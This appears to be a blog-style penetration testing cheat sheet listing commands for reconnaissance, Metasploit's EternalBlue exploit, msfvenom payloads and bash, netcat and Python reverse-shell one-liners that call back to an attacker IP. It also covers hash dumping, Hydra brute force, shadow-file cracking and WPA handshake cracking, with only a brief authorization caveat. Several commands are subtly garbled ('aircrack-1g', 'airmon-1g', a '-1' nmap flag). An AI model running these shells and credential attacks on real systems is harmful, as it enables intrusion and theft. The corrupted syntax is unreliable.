Listen to this Post
Introduction:
In the ever-evolving landscape of cybersecurity, having the right tools is only half the battle—knowing when, why, and how to use them responsibly is what truly defines a security professional. Whether you are a cybersecurity student, penetration tester, bug bounty hunter, or SOC analyst, having quick access to commonly used commands can significantly improve your workflow and reduce the time wasted searching through man pages or outdated blog posts. This comprehensive guide serves as a practical reference for security teams across various phases of authorized security assessments, including information gathering, vulnerability assessment, wireless security testing, password auditing, and post-assessment validation.
Learning Objectives:
- Master essential reconnaissance and information gathering commands for network and web application mapping
- Understand vulnerability scanning techniques and exploitation fundamentals using Metasploit and auxiliary tools
- Develop proficiency in post-exploitation activities, reverse shell generation, and password auditing methodologies
- Learn wireless security testing procedures and privilege escalation techniques for both Linux and Windows environments
1. Information Gathering & Reconnaissance
Reconnaissance is the first and most critical phase of any penetration test. These commands help you gather intelligence about your target before launching any active attacks.
Network Discovery with Nmap
Nmap is the most crucial reconnaissance tool for locating live hosts, open ports, and running services. The following command performs a full port scan with version detection:
nmap -sV -p- 192.168.1.1
To perform a stealth SYN scan (which does not complete the full TCP handshake):
nmap -sS -p 1-1000 192.168.1.0/24
For OS detection and service version probing:
nmap -O -sV --version-light 192.168.1.1
To scan from a list of target addresses and skip DNS resolution for speed:
nmap -iL targets.txt -1
Network Scanning & Enumeration
Netdiscover scans for live hosts within your local network using ARP requests:
netdiscover -r 192.168.1.0/24
ARP-scan provides similar functionality for local network discovery:
arp-scan --local
For fast port scanning across large ranges, Masscan can scan the entire internet:
masscan 192.168.1.0/24 -p 1-10000
DNS Reconnaissance
Query DNS records using dig:
dig example.com A
Enumerate subdomains with fierce:
fierce --dns example.com
Gather emails, subdomains, and employee information using theHarvester:
theharvester -d example.com -b google
Directory & File Enumeration
Gobuster is a high-performance tool used to brute-force and discover URIs (directories and files) in websites, DNS subdomains, and virtual host names. For directory enumeration:
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
To search for specific file extensions:
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
For DNS subdomain enumeration:
gobuster dns -d example.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
Linux System Reconnaissance
When you have shell access, these commands are essential for understanding your environment:
Find SUID binaries (potential privilege escalation vectors) find / -perm -4000 -type f 2>/dev/null Search for sensitive information in files grep -rni "password" /var/www/ 2>/dev/null List running processes ps aux | grep -v "[" | sort -k3 -rn Identify current user and group memberships id && cat /etc/passwd | grep -v nologin Dump environment variables (often contain credentials) env | grep -iE "pass|key|token|secret"
2. Vulnerability Scanning
After mapping the network, you need to identify vulnerabilities that can be exploited.
Web Application Scanning
Nikto is a web server vulnerability scanner:
nikto -h http://example.com
For WordPress-specific scanning:
wpscan --url http://example.com
SQLMap automates SQL injection testing and exploitation:
sqlmap -u "http://example.com/page?id=1" --dbs
Rootkit Detection
Rootkit Hunter scans systems for known and unknown rootkits, backdoors, sniffers, and exploits. It checks for SHA256 hash changes, files commonly created by rootkits, executables with anomalous file permissions, suspicious strings in kernel modules, and hidden files in system directories:
rkhunter --check
Active Directory Enumeration
CrackMapExec is a swiss army knife for pentesting Windows/Active Directory environments. It enumerates logged-on users, spiders SMB shares, executes psexec-style attacks, and dumps NTDS.dit:
crackmapexec smb 192.168.1.0/24 -u username -p password --users
For SMB enumeration:
enum4linux 192.168.1.1
SMB client for accessing Windows shares:
smbclient -L 192.168.1.1
3. Exploitation Basics
Metasploit Framework
Metasploit provides a unified platform for vulnerability exploitation, payload generation, and auxiliary scanning. Start the console:
msfconsole
Search for exploits:
search ms17-010
Use a specific exploit:
use exploit/windows/smb/ms17_010_eternalblue
Set required options:
set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.50 run
Payload Generation with Msfvenom
Msfvenom is used to create custom payloads for various platforms. Generate a Windows reverse shell executable:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe
Generate a Linux reverse shell:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o payload.elf
Generate a PHP web shell:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.php
Reverse Shell One-Liners
These commands are invaluable when you need a quick reverse shell on a compromised system:
Bash reverse shell:
bash -i >& /dev/tcp/192.168.1.50/4444 0>&1
Netcat reverse shell (listener on attacker machine: nc -lvnp 4444):
nc -e /bin/bash 192.168.1.50 4444
Python reverse shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.50",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
To upgrade a simple shell to a fully interactive TTY:
python -c 'import pty; pty.spawn("/bin/bash")'
Then press Ctrl-Z and run:
stty raw -echo; fg
Then in the reverse shell:
export SHELL=bash
4. Post-Exploitation
Meterpreter Commands
Once you have a Meterpreter session, these commands are essential:
sysinfo Display system information getuid Show current user getprivs Show current privileges ps List running processes migrate [bash] Migrate to another process shell Drop to a system shell upload /path/to/file C:\Windows\Temp\ download C:\Windows\Temp\file /local/path hashdump Dump password hashes
Linux Privilege Escalation
After gaining initial access, privilege escalation is often necessary. Check for:
– SUID binaries (find / -perm -4000 -type f 2>/dev/null)
– Writable files and directories
– Sudo misconfigurations (sudo -l)
– Cron jobs (cat /etc/crontab)
– Kernel exploits (uname -a)
Windows Privilege Escalation
On Windows targets, check for:
- Unquoted service paths
- Weak service permissions
- AlwaysInstallElevated registry keys
- Stored credentials in unattended files
5. Password Auditing
Online Password Attacks with Hydra
Hydra is used for brute-force login testing against various services. SSH brute force:
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
HTTP form brute force:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
FTP brute force:
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
Offline Password Cracking with John the Ripper
John the Ripper cracks password hashes offline. Crack Linux shadow file hashes:
unshadow /etc/passwd /etc/shadow > hashes.txt john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Crack NTLM hashes from Windows SAM:
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Show cracked passwords:
john --show hashes.txt
6. Wireless Security Testing
Aircrack-1g Suite
Aircrack-1g is a comprehensive suite of wireless network assessment tools. First, put your wireless interface in monitor mode:
airmon-1g start wlan0
Discover nearby wireless networks:
airodump-1g wlan0mon
Capture a 4-way handshake for WPA/WPA2 cracking:
airodump-1g -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
Crack the WPA handshake with a wordlist:
aircrack-1g -w /usr/share/wordlists/rockyou.txt capture-01.cap
Automated Wireless Auditing
Wifite automates wireless auditing using aircrack-1g tools:
wifite
What Undercode Say:
- Speed and efficiency are everything in penetration testing. Having a well-organized cheatsheet eliminates the friction of searching for command syntax mid-engagement, allowing you to focus on the methodology and critical thinking aspects of the test.
-
Master the fundamentals before chasing advanced techniques. Tools like Nmap for reconnaissance and Gobuster for directory enumeration remain the foundation of every successful penetration test. These tools, when used correctly, provide the intelligence needed to plan the rest of the engagement.
-
Authorization is non-1egotiable. Every command in this guide must only be used against systems you own or have explicit written authorization to test. Unauthorized use of penetration testing tools is illegal under the CFAA, UK Computer Misuse Act, and equivalent laws worldwide.
-
Continuous learning and practice are essential. The cybersecurity landscape evolves rapidly, and maintaining proficiency requires regular hands-on practice in lab environments, CTF competitions, and authorized engagements.
-
Documentation and reporting matter. The ability to clearly document findings, exploitation paths, and remediation recommendations is as important as the technical skills themselves. A well-executed penetration test provides value through actionable insights, not just a list of vulnerabilities.
Prediction:
-1: The democratization of penetration testing tools through easily accessible cheatsheets and tutorials will continue to lower the barrier to entry for cybersecurity professionals, but it also empowers threat actors with sophisticated attack capabilities. Organizations must accelerate their defensive posture and invest in continuous security monitoring.
+1: The growing emphasis on structured, categorized command references will improve the consistency and quality of security assessments across the industry, leading to more secure systems and better-trained professionals.
+1: AI-assisted penetration testing tools and automated reconnaissance frameworks will increasingly integrate with these foundational command sets, enabling security teams to scale their testing efforts while maintaining human oversight for complex decision-making.
-1: Organizations that rely solely on automated scanning without understanding the underlying commands and methodologies will remain vulnerable to sophisticated attacks that bypass standard detection mechanisms.
+1: The integration of hands-on cheatsheets into cybersecurity training programs (OSCP, CEH, and university curricula) will produce more competent and job-ready security professionals who can immediately contribute to real-world security assessments.
▶️ Related Video (80% Match):
https://www.youtube.com/watch?v=25iMrJDyIDk
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Mansoor Asif – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
